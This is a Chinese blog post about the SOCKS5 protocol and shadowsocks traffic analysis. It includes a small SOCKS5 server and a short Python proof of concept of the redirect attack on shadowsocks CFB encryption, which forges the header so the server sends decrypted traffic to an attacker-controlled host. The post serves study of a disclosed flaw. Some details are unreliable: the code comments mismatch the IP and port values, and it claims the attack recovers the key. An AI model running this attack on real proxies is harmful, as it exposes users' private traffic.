shadowsocks的通信原理以及攻击方法分析

发现shadowsocks的通信协议出现了重大的安全问题,比较好奇,学习一下。

0x1 复习一下socks5 协议

socks5代理协议是一个非常轻量级,简单却实用的代理协议。整个协议其实就是在建立TCP连接之后,在真正的内容传输之前,加一点内容。

通讯中各部分的定义如下:

1
2
    /-> | Firewall(防火墙) | ->\
Client -> Server(代理服务器) -> Dst(目标地址)

第一步,Client与Server建立连接

建立TCP连接之后,Client发送如下数据:

1
2
3
4
5
+----+----------+----------+
|VER | NMETHODS | METHODS |
+----+----------+----------+
| 1 | 1 | 1 to 255 |
+----+----------+----------+
  • VER 是指协议版本,因为是 socks5,所以值是 0x05,一个字节
  • NMETHODS 是指有多少个可以使用的方法,也就是客户端支持的认证方法,一个字节,有以下值:
  • METHODS 就是方法值,1-255个字节,有多少个方法就有多少个byte

第二步,Server返回可以使用的方法

收到Client的请求之后,Server选择一个自己也支持的认证方案,然后返回:

1
2
3
4
5
+----+--------+
|VER | METHOD |
+----+--------+
| 1 | 1 |
+----+--------+

VER 和 METHOD 的取值与上一节相同。

第三步,client 向 server 发送 Dst 的地址

1
2
3
4
5
+----+-----+-------+------+----------+----------+
|VER | CMD | RSV | ATYP | DST.ADDR | DST.PORT |
+----+-----+-------+------+----------+----------+
| 1 | 1 | X'00' | 1 | Variable | 2 |
+----+-----+-------+------+----------+----------+
  • VER 还是版本,取值是 0x05
  • CMD 是指要做啥,取值如下:
    • CONNECT 0x01 连接
    • BIND 0x02 端口监听(也就是在Server上监听一个端口)
    • UDP ASSOCIATE 0x03 使用UDP
  • RSV 是保留位,值是 0x00
  • ATYP 是目标地址类型,有如下取值:
    • 0x01 IPv4
    • 0x03 域名
    • 0x04 IPv6
  • DST.ADDR 就是目标地址的值了,如果是IPv4,那么就是4 bytes,如果是IPv6那么就是16 bytes,如果是域名,那么第一个字节代表接下来有多少个字节是表示目标地址
  • DST.PORT 两个字节代表端口号

第四步,服务端回复

1
2
3
4
5
+----+-----+-------+------+----------+----------+
|VER | REP | RSV | ATYP | BND.ADDR | BND.PORT |
+----+-----+-------+------+----------+----------+
| 1 | 1 | X'00' | 1 | Variable | 2 |
+----+-----+-------+------+----------+----------+
  • VER 还是版本,值是 0x05
  • REP 是状态码,取值如下:
    • 0x00 succeeded
    • 0x01 general SOCKS server failure
    • 0x02 connection not allowed by ruleset
    • 0x03 Network unreachable
    • 0x04 Host unreachable
    • 0x05 Connection refused
    • 0x06 TTL expired
    • 0x07 Command not supported
    • 0x08 Address type not supported
    • 0x09 to 0xff unassigned
  • RSV 保留位,取值为 0x00
  • ATYP 是目标地址类型,有如下取值:
    • 0x01 IPv4
    • 0x03 域名
    • 0x04 IPv6
  • DST.ADDR 就是目标地址的值了,如果是IPv4,那么就是4 bytes,如果是IPv6那么就是16 bytes,如果是域名,那么第一个字节代表接下来有多少个字节是表示目标地址
  • DST.PORT 两个字节代表端口号

第五步,开始传输流量

接下来就是流量传输了,clinet端将需要发送给dst的流量直接发送给server就可以了。

server端简单的代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

import socket, sys, select, SocketServer, struct, time

class ThreadingTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): pass
class Socks5Server(SocketServer.StreamRequestHandler):
def handle_tcp(self, sock, remote):
fdset = [sock, remote]
while True:
r, w, e = select.select(fdset, [], [])
if sock in r:
if remote.send(sock.recv(4096)) <= 0: break
if remote in r:
if sock.send(remote.recv(4096)) <= 0: break
def handle(self):
try:
pass # print 'from ', self.client_address nothing to do.
sock = self.connection
# 1. Version
sock.recv(262)
sock.send("\x05\x00");
# 2. Request
data = self.rfile.read(4)
mode = ord(data[1])
addrtype = ord(data[3])
if addrtype == 1: # IPv4
addr = socket.inet_ntoa(self.rfile.read(4))
elif addrtype == 3: # Domain name
addr = self.rfile.read(ord(sock.recv(1)[0]))
port = struct.unpack('>H', self.rfile.read(2))
reply = "\x05\x00\x00\x01"
try:
if mode == 1: # 1. Tcp connect
remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote.connect((addr, port[0]))
pass # print 'To', addr, port[0] nothing do to.
else:
reply = "\x05\x07\x00\x01" # Command not supported
local = remote.getsockname()
reply += socket.inet_aton(local[0]) + struct.pack(">H", local[1])
except socket.error:
# Connection refused
reply = '\x05\x05\x00\x01\x00\x00\x00\x00\x00\x00'
sock.send(reply)
# 3. Transfering
if reply[1] == '\x00': # Success
if mode == 1: # 1. Tcp connect
self.handle_tcp(sock, remote)
except socket.error:
pass #print 'error' nothing to do .
except IndexError:
pass
def main():
filename = sys.argv[0];
if len(sys.argv)<2:
print 'usage: ' + filename + ' port'
sys.exit()
socks_port = int(sys.argv[1]);
server = ThreadingTCPServer(('', socks_port), Socks5Server)
print 'bind port: %d' % socks_port + ' ok!'
server.serve_forever()
if __name__ == '__main__':
main()

0x2 shadowsocks协议

阅读了一下shadowsocks的部分源码并抓包分析了一下通信过程。通过分析发现我对shadowsocks通信是基于socks5协议的这种说法的理解是完全不对的的,下面画一个shadowsocks通信的原理图。

shadowsocks由sslocal和ssserver两部分组成,而真正利用socks5协议进行通信的只有sslocal,sslocal和ssserver之间的通信用的是非常简陋的通信协议,或者说根本就没有用协议。

为了分析协议,shadowsocks的ssserver和sslocal的配置文件分别如下:

1
2
3
4
5
6
7
{
"server":"127.0.0.1",
"server_port":7878,
"password":"password",
"timeout":60,
"method":"aes-256-cfb"
}
1
2
3
4
5
6
7
8
{
"server":"127.0.0.1",
"server_port":7878,
"local_port":1090,
"password":"password",
"timeout":600,
"method":"aes-256-cfb"
}

下面结合wireshark抓流量进行分析。

sslocal与clinet端的通信

sslocal可以分为两个部分,第一个部分是socks5服务端,它负责监听本地的请求。另外一个部分是信息发送端,它负责向远程的ssserver发送数据包。这个节我们只分析 sslocal 作为 socks5 服务器的这一部分。

tcp.port==1090 过滤一下数据包,就会看到 socks5 协议的整个通信过程。

  1. 首先是 client 端发送请求建立连接的请求,发送的数据是 05 02 00 01

  1. sslocal的socks5服务器回复 05 00,表示不需要认证。

  1. clinet发送通信目标的ip和port

  1. sslocal的socks5服务器回复 05 00 00 01 00 00 00 00 10 10,对比上面的socks5通信协议会知道这里返回的ip是00 00 00 00,port 是 10 10,这俩都是假的值,因为 sslocal 并没有真实的和client要求的目标地址通信,而是向ssserver发起了请求。

  2. 接下来就是socks5数据传输过程。client段发送自己的请求,我这里是个http请求。

sslocal与ssserver的通信

sslocal发送给ssserver的数据

通过设置filter tcp.port==7878 获取 sslocal 发送给 ssserver的第一条数据如下:

因为不知道通信协议的格式,所以并不知道发送了什么数据,不过我们可以先看一下shadowsocks中的数据解密函数:

1
2
3
4
5
6
7
8
9
10
11
12
def decrypt(self, buf):
if len(buf) == 0:
return buf
if self.decipher is None:
decipher_iv_len = self._method_info[1]
decipher_iv = buf[:decipher_iv_len]
self.decipher = self.get_cipher(self.key, self.method, 0,
iv=decipher_iv)
buf = buf[decipher_iv_len:]
if len(buf) == 0:
return buf
return self.decipher.update(buf)

通过这个函数,知道发送的数据前 decipher_iv_len 是加密所用的初始iv的长度,我这里用的加密算法是 aes-256-cfb,跟一下代码知道这里 decipher_iv_len 是16。

所以 4222143a3190ce92e4aa8609a7036aeb 是iv,db55f138d80414873c3e792896935691dc3769f1ada0c0122c58e8e825298fc2b2a5a9eef3dd6ca2c4204b30c6814b28c0644744272b21d2b9b4a9b0ddfb35e082d82629cea42c87437ca1fabdde735f6c72bc95是数据,对数据进行解密,得到解密后的数据是01b7e8e7ac0050474554202f20485454502f312e310d0a486f73743a207777772e62616964752e636f6d0d0a557365722d4167656e743a206375726c2f372e36342e310d0a4163636570743a202a2f2a0d0a0d0a

转为ascii为:

前面是一段乱码吗,推测可能是通信的某些控制字段,后面跟着就是发送的http请求。

通过阅读shadowsocks的源代码,知道这条数据的格式如下:

1
2
3
4
5
+-----+-------+-------+------------------+
| 类型 | 目标 | 端口 | 数据 |
+-----+-------+-------+------------------+
| 1 | 变长 | 2 | 变长 |
+-----+-------+-------+------------------+
  • 类型

    • 0x1 目标部分是 IPV4 地址
    • 0x03 目标部分是域名,是变长字符串,第一个字节表示后面数据的长度。
    • 0x04 目标部分是一个 16 字节的 IPV6 地址
  • 数据部分就是用户原始的请求(TCP或UDP数据包部分)

ssserver发送给sslocal的数据

ssserver发送给sslocal的数据如下:

根据上面的经验解密之。

发现直接是目标返回的内容,ssserver没有添加任何额外的头部,直接把原始数据返回。

看完这个 shadowsocks 的通信过程,我真是给它跪了,这个通信设计的也太简单粗暴点了吧,数据完整性校验,压缩,签名一概都没有。只把ssloca和sserver之间的通信数据进行加密,通信过程做了iv的随机化,每次发送的数据都会带上本次加密的iv。这一点数据伪装都没做,哎,怪不得被gfw干趴下(可以自己稍微改造改造,加点数据伪装等,尝试过一下…)。

0x3 针对shadowsocks的通信的攻击

360公开了对shadowsocks流加密通信过程的攻击文章,https://github.com/edwardz246003/shadowsocks,比较感兴趣,就学习一下。

文中提到的重定向攻击原理也十分简单,但是设计却十分巧妙,感觉其实算是一种重放攻击,下面详细介绍一下这个攻击的原理。

复习分组密码CFB模式

CFB模式的全称是 Cipher FeedBack模式(密文反馈模式),在CFB模式中前一密文分组会被送到密码算法的输入端,进行下一分组的加密。

加密的流程如下图所示:

相反的解密流程如下所示:

现在只看解密流程,如果我们知道了 明文分组1密文分组1,接下来就可以通过构造一个fake_密文分组1,让ss解密来伪造一个任意的fake_明文分组1,原因如下:

首先初始化向量iv加密之后的值,这里记它为 enc_iv,那么有如下的等式:

1
2
3
4
`明文分组1` xor `密文分组1`  = `enc_iv`
`fake_密文分组1` xor `enc_iv` = `fake_明文分组1`
=>
`enc_iv` xor `fake_明文分组1` = `fake_密文分组1`

通过这样的方式控制 fake_密文分组1 就可以构造任意的fake_明文分组1 了。

漏洞利用过程

通过上面协议的分析,可以得出 sslocal 发送给 ssserver 的数据格式为:

1
随机IV + encrypt([ 1-byte type][variable-length host][2-byte port][payload])

ssserver 发送给 sslocal 的数据格式为:

1
随机IV + encrypt([payload])

如果我们拿到了 ssserver 发送给 sslocal 的数据,使用常规的非暴力手段是无法解密的,但是如果我们知道了此数据的前7个字节,那么就可以利用上面介绍的CFB明文伪造攻击将 fake_明文分组1 的前7个字节伪造为 [ 1-byte type][variable-length host][2-byte port] ,然后把此数据包做为 sslocal 发送给 ssserver 的数据,发给 ssserver。
因为数据 [ 1-byte type][variable-length host][2-byte port]的内容可以完全被我们控制,所以将目标地址修改为我们自己的服务器,然后 ssserver 就会把解密完的数据发送到我们自己的服务器上,工作过程如下所示:

1
ss-local(fake one) <--[encrypted]--> ss-remote <---> target(controlled)

那关键问题是怎么知道加密数据的前7个字节的明文呢?论文中提供了一种方法,如果用户使用 shadowsocks 进行 http 通信,那么响应的前7个字节是HTTP/1.,我们可以利用这7个字节来解密整个数据包。
具体的代码实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
c=c.decode('hex')
#c=up(c)
prefix_http='HTTP/1.'
targetIP='\x01\x27\x6c\x05\x37\x1e\x61' # malicous target IP address: 192.168.1.3:4626
x=xor(prefix_http,targetIP)

y=c[16:16+7]
z=xor(x,y)
cipertext=c[0:16]+z+c[16+7:]
import socket
obj = socket.socket()
print ("begin\n")
obj.connect(("127.0.0.1",7878))# ss-server is running on 192.168.1.2:8899
obj.send(cipertext)# send the payload to construct a redirect tunnel

因为修改了第一个密文分组,所以解密出来的第二个明文分组是不正确的,如下图所示,有16个字节的错误数据:

因为不知道到底哪个数据包传输的内容是 http 协议,所以需要多试几次,直到解密成功一个为止。 一旦解密成功,就可以知道一段密文分组经过key加密之后的值,就可以反解出key,进而破解所有数据包。

参考文章

https://tools.ietf.org/html/rfc1928
https://jiajunhuang.com/articles/2019_06_06-socks5.md.html
https://blog.gfkui.com/2018/04/29/shadowsocks%E5%AE%A2%E6%88%B7%E7%AB%AF%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90/index.html
https://loggerhead.me/posts/shadowsocks-yuan-ma-fen-xi-tcp-dai-li.html
https://github.com/shadowsocks/shadowsocks/tree/master/shadowsocks
https://github.com/edwardz246003/shadowsocks